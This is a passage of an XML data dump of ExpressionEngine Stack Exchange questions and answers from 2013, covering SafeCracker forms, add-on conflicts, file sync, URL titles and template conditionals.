for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input id=&quot;title&quot; name=&quot;title&quot; type=&quot;text&quot; size=&quot;35&quot; value=&quot;&quot; placeholder=&quot;Title&quot;/&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;role&quot;&amp;gt;Role&amp;lt;/label&amp;gt;&#xA;&amp;lt;em&amp;gt;Role of the person who gave quote, eg: General Manager&amp;lt;/em&amp;gt;&#xA;&amp;lt;input id=&quot;role&quot; name=&quot;role&quot; type=&quot;text&quot; size=&quot;35&quot; value=&quot;&quot; placeholder=&quot;Role&quot;/&amp;gt; &#xA;&#xA;&amp;lt;label for=&quot;affiliation&quot;&amp;gt;Hotel name&amp;lt;/label&amp;gt;&#xA;&amp;lt;em&amp;gt; Affiliation / hotel name&amp;lt;/em&amp;gt;&#xA;&amp;lt;input id=&quot;affiliation&quot; name=&quot;affiliation&quot; type=&quot;text&quot; size=&quot;35&quot; value=&quot;&quot; placeholder=&quot;Hotel name&quot;/&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;testimony&quot;&amp;gt;Your Thoughts&amp;lt;/label&amp;gt;&#xA;&amp;lt;em&amp;gt;Instructions:  The main testimony goes here.&amp;lt;/em&amp;gt;&#xA;&amp;lt;textarea id=&quot;testimony&quot; name=&quot;testimony&quot; cols=&quot;40&quot; rows=&quot;4&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;&amp;lt;input id=&quot;saef-submit&quot; class=&quot;ba-button&quot; type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i have removed all other scripts from the page. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2013-09-23T14:01:49.750" Title="safecracker SAEF form does not sumbit" Tags="|safecracker|v2.5.5|saef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13923" PostTypeId="1" AcceptedAnswerId="15226" CreationDate="2013-09-19T16:28:13.443" Score="0" ViewCount="47" Body="&lt;p&gt;I have an issue with an old build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 1.6.8 - Build 20090723&#xA;Matrix 2.0.11&#xA;Playa 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create the matrix field fine, but if I add a playa segment, after saving the field, I can no longer access the field. If I click on the field label to edit it, I am shown nothing but an Update button. I can not edit the field in the entry template either. I need to get this fixed until I get everything rebuilt and updated to 2.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-31T17:33:43.043" Title="Playa field explodes Matrix field" Tags="|matrix|playa|pixelandtonic|ee1|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13924" PostTypeId="2" ParentId="13887" CreationDate="2013-09-19T16:37:50.920" Score="0" Body="&lt;p&gt;I had this exact same error when I upgraded to 2.7 as well.  For me it was a conflict with using a third party plugin specifically Profile:Edit.  When I used any of the profile:edit tags on the same page as a channel:form tag it would throw that error.  So I simply used one or the other on my different pages and not both at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure what the exact problem is but I think it has something to do with the $channel_form_lib being called more than once.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2013-09-19T16:37:50.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13925" PostTypeId="1" AcceptedAnswerId="14065" CreationDate="2013-09-19T19:48:13.660" Score="3" ViewCount="206" Body="&lt;p&gt;Has anyone had any luck with using EE 2.7.0 with the new Channel Forms to perform inline/on page editing for logged in users? I was attempting this using a similar approach to the ajax driven form entry sample from the docs &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/examples.html#ajax-driven-entry-form&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; by opening the form in an embed template, but I am having a hard time sending the template field to the embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of retrieving the field name and making it, say the ID of the element being edited? Would this need to be handled vie PHP in templates or can I extract that another way?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-25T16:40:05.773" Title="Channel Forms used for inline editing" Tags="|ee2|templates|inline-editing|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13926" PostTypeId="2" ParentId="13922" CreationDate="2013-09-19T20:05:50.657" Score="1" Body="&lt;p&gt;Your hidden fields match my safecracker forms. So first check the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: Are you logged in as admin or another member group?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select: Member &gt; member groups &gt; [for your member group ] edit group&lt;/li&gt;&#xA;&lt;li&gt;Find in list: Channel Assignment Ensure this is set to yes: can post&#xA;and edit entries in [channelname]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Step 2: have you allowed access to custom status?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select admin &gt; channel admin &gt; statuses &gt; your_status_group &gt; pending&lt;/li&gt;&#xA;&lt;li&gt;Ensure group name can access status&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Step 3: remove from tag a couple of params so it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker form_class=&quot;saef-form&quot; channel=&quot;testimonial&quot; status=&quot;pending&quot; return=&quot;contact/thankyou/en/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 4: are you adding your own jquery? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From memory, Safecracker uses version 1.7.?. If you try and use 1.10.? it wont work. For now, ensure you arent adding your own jquery in the header. Make sure there is no other js in head (while debugging)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5: simplify form further (for debugging until it works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take out all inputs except title ( and submit). Remove status param. Retest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Youve got me stumped. Fyi, this template on my site works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:safecracker channel=&quot;store&quot; return=&quot;browse&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;&quot; size=&quot;50&quot; maxlength=&quot;100&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;{/exp:safecracker}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script in the source will look something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://mysite.com/?ACT=7&amp;amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog,datepicker&amp;amp;amp;plugin=scrollable,scrollable.navigator,markitup,thickbox,toolbox.expose,overlay,tmpl&amp;amp;amp;v=1378087729&amp;amp;amp;use_live_url=y&amp;amp;amp;include_jquery=y&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont know what else to suggest. Im in Australia. Midnight here, so thats it for me now.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-23T14:01:49.750" LastActivityDate="2013-09-23T14:01:49.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13927" PostTypeId="1" CreationDate="2013-09-19T20:21:37.013" Score="4" ViewCount="341" Body="&lt;p&gt;So I'm not sure what is going on with EE 2.7.0 but the File Sync seems to be a bit whacky. I have 15 files uploaded to my remote server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cmZaN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I go to File Upload Preferences and click Synchronize I get the appropriate count and EE appears to sync the images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZC0e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I go to File Manager to view the files I only get 10 images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/noMGi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen this? It WORKED ONCE before but not anymore. My permissions for the &quot;uploads&quot; folder is 755 and the individual images are set to 644. So I'm not sure what else could be causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I will probably submit this to Ellis Lab too but wanted to make sure I wasn't missing something.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-10-17T11:15:56.813" Title="EE 2.7 and File Sync" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13928" PostTypeId="1" CreationDate="2013-09-19T21:55:25.227" Score="4" ViewCount="407" Body="&lt;p&gt;I wondered if it was possible to have a straight-to-upload feature for safecracker (channel form) uploads? On the front end, I'd want to bypass the 'browse' section and only allow users to upload an image (with progress bar) and add/edit their meta data without revealing the other files on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2013-09-20T06:35:26.273" Title="Assets and Channel Form upload only" Tags="|assets|safecracker|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13929" PostTypeId="2" ParentId="13886" CreationDate="2013-09-19T23:54:13.393" Score="0" Body="&lt;p&gt;I updated MX Google Map to the latest version to get this to work. (D'oh!)&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-09-19T23:54:13.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13931" PostTypeId="1" AcceptedAnswerId="13936" CreationDate="2013-09-20T02:58:06.737" Score="2" ViewCount="429" Body="&lt;p&gt;I'm a Vietnamese. I'm a newbie for ee2. When I enter &quot;Nước ngập mái nhà sau cơn bão&quot; in Title field, EE2 automatically generates &quot;nc-ngp-mai-nha-sau-cn-baeo&quot; in URL Title. That isn't correct. I need &quot;nuoc-ngap-mai-nha-sau-con-bao&quot; in my URL Title. I created my database with &quot;utf8-general-ci&quot; collation. May somebody help me?.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2013-09-20T09:19:08.087" Title="convert Title to Url Title with unicode characters" Tags="|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13932" PostTypeId="1" AcceptedAnswerId="13933" CreationDate="2013-09-20T03:17:24.257" Score="0" ViewCount="323" Body="&lt;p&gt;I'm a newbie for ee2. The template tag &quot;exp:email:contact_form&quot; allow me to create a contact form without save form's data to my DB. I need a contact form that save its data to DB, send a email to my gmail account and then I can browse these contacts in CP Admin. Please show me how to do it. May somebody helps me. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2013-09-20T03:51:58.747" Title="customize contact form to save data to DB" Tags="|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13933" PostTypeId="2" ParentId="13932" CreationDate="2013-09-20T03:51:58.747" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt; module for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-20T03:51:58.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13934" PostTypeId="2" ParentId="13928" CreationDate="2013-09-20T06:35:26.273" Score="5" Body="&lt;p&gt;Tim,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently this is not possible, but we do have some interesting ideas that would allow you to accomplish this in the next Assets release, which is currently in active development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have an ETA for you, but we are working on it&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-20T06:35:26.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13935" PostTypeId="1" CreationDate="2013-09-20T07:40:02.720" Score="2" ViewCount="114" Body="&lt;p&gt;Is it possible in ExpressionEngine 2.x to manage your uploaded files and images with categories? So when een customer add a new image in the default FileManager, they can select one categorie (like Products, News etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when you want to select a uploaded image in the default FileManager to place in a wysiwyg editor, you want to see those categories at the left side in the default FileManager. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images&#xA;- Category 1&#xA;- Category 2&#xA;- Category 2.1&#xA;Files&#xA;- Category 1&#xA;- Category 2&#xA;- Category 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is their a way to do this? I know the Assets addon from Pixel and tonic...&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2013-09-21T09:57:31.200" Title="Use categories for default FileManager" Tags="|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13936" PostTypeId="2" ParentId="13931" CreationDate="2013-09-20T09:19:08.087" Score="2" Body="&lt;p&gt;As far as I'm aware no. Because EE will strip out the non-alpha numeric characters, not replace them with their similar counterparts. It's not relevant to the Database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either you have to manually edit the url_title field each time or look at other options. But in looking elsewhere for solutions may give you an even better end result - of being able to use your language correctly in URLs (better for your users and better for SEO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I touch briefly on it &lt;a href=&quot;http://peteralewis.com/blog/expressionengine-multi-language/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but you can utilise a custom field for the url but you can't then use the native and automatic method of channel:entries, so will need to use search:custom_url=&quot;nước-ngập-mái-nhà-sau-cơn-bão&quot; dynamic=&quot;no&quot; parameters in the channel entries tag.  Your URL would then look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/content/nước-ngập-mái-nhà-sau-cơn-bão&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the 'content' group, index.php template catching this URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively (although I've not had the chance to use it), the &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher add-on&lt;/a&gt; allows for multi-language URLs, so this should simplify the whole process if your budget can stretch.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-20T09:19:08.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13937" PostTypeId="1" AcceptedAnswerId="13939" CreationDate="2013-09-20T09:36:03.020" Score="1" ViewCount="90" Body="&lt;p&gt;I am looking to create an entry revision site where I can allow users to access/view these on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access these on the front end as it is in the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-20T10:03:15.090" Title="Is it possible to access entry revisions on the front end?" Tags="|channel-entries|safecracker|entries|saving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13938" PostTypeId="1" AcceptedAnswerId="14505" CreationDate="2013-09-20T09:55:36.620" Score="1" ViewCount="298" Body="&lt;p&gt;When using the &lt;code&gt;paginate_base&lt;/code&gt; parameter with &lt;code&gt;exp:low_search:results&lt;/code&gt; (I'm also using Structure, Freebie) any time I reference the channel short_name either as {segment_1}, {freebie_1}, {channel_short_name} or even hard code the channel short name, the pagination URL has the search query in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;paginate_base=&quot;{freebie_1}/{freebie_2}/{freebie_3}/{freebie_4}/{freebie_5}/{freebie_6}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the URL is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/yarn/title/asc/1/brand/dmc/P1?keywords=test&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/yarn/title/asc/1/brand/dmc/P1?keywords=test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the generated pagination URL is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/yarn/?keywords=yarntitle/asc/1/brand/dmc/P2?keywords=yarn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I hardcode a non-existing channel_short_name at {segment_1} - for example: foo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;paginate_base=&quot;foo/{freebie_2}/{freebie_3}/{freebie_4}/{freebie_5}/{freebie_6}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the generated pagination URL path is correct! Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://local.tricotshop.co.uk/foo/title/asc/1/brand/dmc/P2?keywords=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I use a standard &lt;code&gt;exp:channel:entries&lt;/code&gt; loop (without the results query), the generated pagination URL is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why this is happening and how I can fix it please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-10-10T19:16:05.663" Title="Low Search paginate_base URL with Structure &amp; Freebie" Tags="|structure|search|low-search|pagination|freebie|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="2" ParentId="13937" CreationDate="2013-09-20T10:03:15.090" Score="3" Body="&lt;p&gt;You might see this article &lt;a href=&quot;http://www.sidd3.com/get-entry-revisions-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/get-entry-revisions-in-expressionengine/&lt;/a&gt;. I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-20T10:03:15.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="1" CreationDate="2013-09-20T10:19:07.380" Score="0" ViewCount="53" Body="&lt;p&gt;I am using ExpressionEngine 2.6.1&#xA;and     Store 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am unable to add the &quot;Items&quot; to the cart, when I logged out from Control Pannel(it is showing that &quot;Your cart is  Empty&quot;).&#xA;But If I logged into the Control Pannel then it is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2085" LastActivityDate="2013-09-20T11:12:08.643" Title="My cart is empty if I logged out from control pannel" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ClosedDate="2013-09-21T01:32:24.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="13941" PostTypeId="1" AcceptedAnswerId="13946" CreationDate="2013-09-20T10:28:31.940" Score="4" ViewCount="1188" Body="&lt;p&gt;I have a grid field set up for social links. The first column selects the network, the second field a link. I'd like to have a conditional working so it tests against the content and adds corresponding classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;social&quot; disable=&quot;category_fields|member_data|pagination&quot; limit=&quot;1&quot;}{social_links}&#xA;&amp;lt;li class=&quot;{if {social_links:network}==&quot;Google&quot;}google{/if}&quot;&amp;gt;Our &amp;lt;a href=&quot;{social_links:network_url}&quot;&amp;gt;{social_links:network}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;{if {social_links:network}==&quot;Twitter&quot;}google{/if}&quot;&amp;gt;Follow us on &amp;lt;a href=&quot;{social_links:network_url}&quot;&amp;gt;{social_links:network}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;{if {social_links:network}==&quot;Facebook&quot;}google{/if}&quot;&amp;gt;Join us on &amp;lt;a href=&quot;{social_links:network_url}&quot;&amp;gt;{social_links:network}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/social_links}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd also like to be able to test if a grid field is empty like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{if social_links!=&quot;&quot;}Do something {if:else} or do this{/if}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-09-20T16:09:36.093" Title="Grid Conditionals" Tags="|conditionals|grid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13942" PostTypeId="2" ParentId="13787" CreationDate="2013-09-20T10:29:54.893" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; 'Bulk' tag may help you. It'll output the images placed within WYSIWYG editors, like Wygwam.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-09-20T10:29:54.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13943" PostTypeId="2" ParentId="13940" CreationDate="2013-09-20T11:12:08.643" Score="0" Body="&lt;p&gt;In the Store settings is the following item:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Empty cart on member logout&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So when you logout, your cart will be cleared (be that the Control Panel or frontend). When you log back in, the cart will be remembered.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-20T11:12:08.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13944" PostTypeId="1" CreationDate="2013-09-20T15:20:01.227" Score="1" ViewCount="101" Body="&lt;p&gt;I see from another question that it's possible to pass query strings through the URL in EE1 but the question itself and its answer didn't really answer how this is done or help solve my specific question which is, can I pass a query string through the URL and have it fill out a form in EE1? I know you can do this easily with PHP and for this case I'm OK with enabling PHP on this single template. However, my quick test didn't seem to work. I added the following php to the head of the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$first_name = $_GET['first_name'];&#xA;$last_name = $_GET['last_name'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and added the following value parameter to the appropriate input fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value=&quot;&amp;lt;?php echo $first_name; ?&amp;gt;&quot;&#xA;value=&quot;&amp;lt;?php echo $last_name; ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried setting PHP to render on input and output and have tried an embedded template for the form as well as placing it in the template but the query string values aren't populating the form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Is it even possible to get query strings to populate a form in EE1?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-09-23T17:47:09.767" Title="using query strings on EE1 site" Tags="|forms|ee1|querystring|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13945" PostTypeId="1" AcceptedAnswerId="13957" CreationDate="2013-09-20T15:26:45.637" Score="1" ViewCount="218" Body="&lt;p&gt;what im doing wrong? Im trying load a image via Assets, in a Low Variable field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing is rendered, but Low Variables field is with &quot;early parsing&quot; enabled. The Lazy Load JQuery plugin is active.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;myassetsimage&quot;}&#xA;    {exp:ce_img:pair src=&quot;{myassetsimage}&quot; width=&quot;640&quot; height=&quot;400&quot; class=&quot;img-polaroid&quot; alt=&quot;&quot;}&#xA;          &amp;lt;img data-original=&quot;{made_url}&quot; src=&quot;{site_url}layout/img/pic-blank-1.gif&quot;&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;{/exp:low_variables:pair} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1852" LastActivityDate="2013-09-20T19:58:46.927" Title="CE Image with Low Variables and Lazy Load: What im doing worng?" Tags="|templates|low-variables|ce-image|parsing|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13946" PostTypeId="2" ParentId="13941" CreationDate="2013-09-20T15:56:54.173" Score="4" Body="&lt;p&gt;I'd recommend trying class=&quot;{if '{social_links:network}' == 'Google'}google{/if}&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever you use for the conditional, if you match up the quotes usage (double versus single), it makes a big difference.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-09-20T16:09:36.093" LastActivityDate="2013-09-20T16:09:36.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13947" PostTypeId="1" AcceptedAnswerId="13955" CreationDate="2013-09-20T16:00:58.967" Score="1" ViewCount="119" Body="&lt;p&gt;Im stuck - Ive got a simple portfolio site with a few channels, lists, search and so forth. Im using Supersized with Channel Images to run galleries. I made the first gallery (for the background full screen slides) using an entry in a dedicated channel, uploaded a bunch of images, and used the following code to run the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;gallery&quot; entry_id=&quot;18&quot; enable=&quot;custom_fields&quot; parse=&quot;inward&quot; limit=&quot;1&quot;}&#xA;&#xA;&#xA;       jQuery(function($){&#xA;&#xA;    /... all the supersized stuff before the slides list .../&#xA;&#xA;&#xA;    slides  :&#xA;       [&#xA;       {gallery_image}&#xA;       {image : '{image:url:full-size-op}', title : '{image:title}', thumb : '{image:url:thumbnail}'},&#xA;       {/gallery_image}&#xA;&#xA;        ]&#xA;      });&#xA;          });&#xA;&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine* in all sections of the site, except the (single) entry pages. Why is it breaking, has anyone come across anything similar? Even though it has a last trailing comma, that doesn't seem to be a problem. In other words, by segment_3, it breaks, like this: www.mydomain.com/channel/entry/entry_title&#xA;(Im running the site without index.php.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(* - Caveat: in IE8 the script breaks as it returns an error to do with 'thumb_links' being undefined, even though they are. My code isn't the cause of that break, but its a separate issue). UPDATE ON THIS: My code was the cause - removing the last comma sorted this issue out, using backspace=&quot;5&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1094" LastEditorUserId="1094" LastEditDate="2013-09-21T07:00:52.090" LastActivityDate="2013-09-21T07:00:52.090" Title="Using Supersized.js &amp; Channel Images in EE2.7 segment_3 problem" Tags="|jquery|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13948" PostTypeId="1" AcceptedAnswerId="13949" CreationDate="2013-09-20T16:32:24.720" Score="2" ViewCount="441" Body="&lt;p&gt;I am trying to build a listing page of entries broken down by parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally used the category archive tag but there isn't option to limit the entries per category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried using Stash and this method marked as the answer &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/393/listing-entries-ordering-by-category&quot;&gt;Listing entries, ordering by Category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by showing all entries under each parent category, but once I throw the limit parameter in the channel entries tag it doesnt work, just shows the categories.  Also tried using MX Jumper, same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this method from Low &lt;a href=&quot;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gotolow.com/blog/nesting-tags-and-performance-in-ee&lt;/a&gt;&#xA;It works the same, but again once limit parameter is in channel tag it breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I have found that placing the category_group parameter in the channel tag that it  works, sorta.  It will show entries, but whatever the limit is instead of limit per category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code for Stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;publications&quot; disable=&quot;pagination|member_data|category_fields&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;  {exp:stash:append 